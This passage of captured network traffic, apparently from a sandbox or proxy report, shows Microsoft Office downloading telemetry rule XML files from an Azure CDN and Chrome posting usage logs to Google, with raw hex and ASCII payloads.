2024-11-05 09:13:35 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49832	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:35 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:35 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:35 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f6a1aa81-001e-008d-5f60-2ed91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091335Z-158dbd74bf4jjjdmhC1SN1vmen00000003yg000000000txn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:35 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	49837	142.250.185.78	443	4140	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	726	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 913 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-05 09:13:36 UTC	913	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 37 39 38 30 31 33 36 38 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[1,0,0,0,0]]],373,[["1730798013685",null,null,null,
2024-11-05 09:13:36 UTC	936	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=q-jN_fTH0f-wxaOSpHbwuLJAtY3FSuOMIjLL36gGP8yLxxeUw8ZFT9p00ZQ6RpcFRBHk5koZ_WtaI621SWSFw_R-DZGLMhQHy9mjZDDpVpvTdtyViLeLjaigCzyFOEgl6Kdl91FE2WZ3BN2WB02QusxuuNKbAAVgFVcIrnNDQRdRWhimnw; expires=Wed, 07-May-2025 09:13:36 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 05 Nov 2024 09:13:36 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 05 Nov 2024 09:13:36 GMT Connection: close Transfer-Encoding: chunked
2024-11-05 09:13:36 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-11-05 09:13:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49838	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 48d17247-501e-00a0-2f4d-2e9d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091336Z-158dbd74bf4qbc8zhC1SN1f48g00000003h00000000055fk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49839	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 971e4cc3-c01e-0046-403f-2e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091336Z-157b9fd754fkww8mhC1SN1eg40000000043g0000000056rc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49840	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 6a4bbae2-b01e-0053-568e-2dcdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091336Z-157b9fd754fk82tlhC1SN1x7tg000000047g000000005rvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49841	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 9eee1406-f01e-0020-6e5f-2e956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091336Z-157b9fd754fpq442hC1SN1cmvn0000000490000000003nda x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49842	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:36 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:36 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: a6459842-d01e-0014-395c-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091336Z-158dbd74bf4t6ws7hC1SN1rd6c00000003ug000000004gmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49846	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:37 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:37 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 0a7a2f72-a01e-0002-3b58-2e5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091337Z-158dbd74bf49gc9fhC1SN11n8000000003wg000000000vsm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49848	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:37 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: a0cc50e9-d01e-0066-4e5c-2eea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091337Z-157b9fd754fpgz5vhC1SN1qzrn00000004800000000032rp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:37 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49847	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:37 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 09:13:37 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 4bf7326f-801e-00ac-6855-2efd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T091337Z-157b9fd754ft96xrhC1SN1efqn00000004900000000003dd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 09:13:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49849	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:37 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
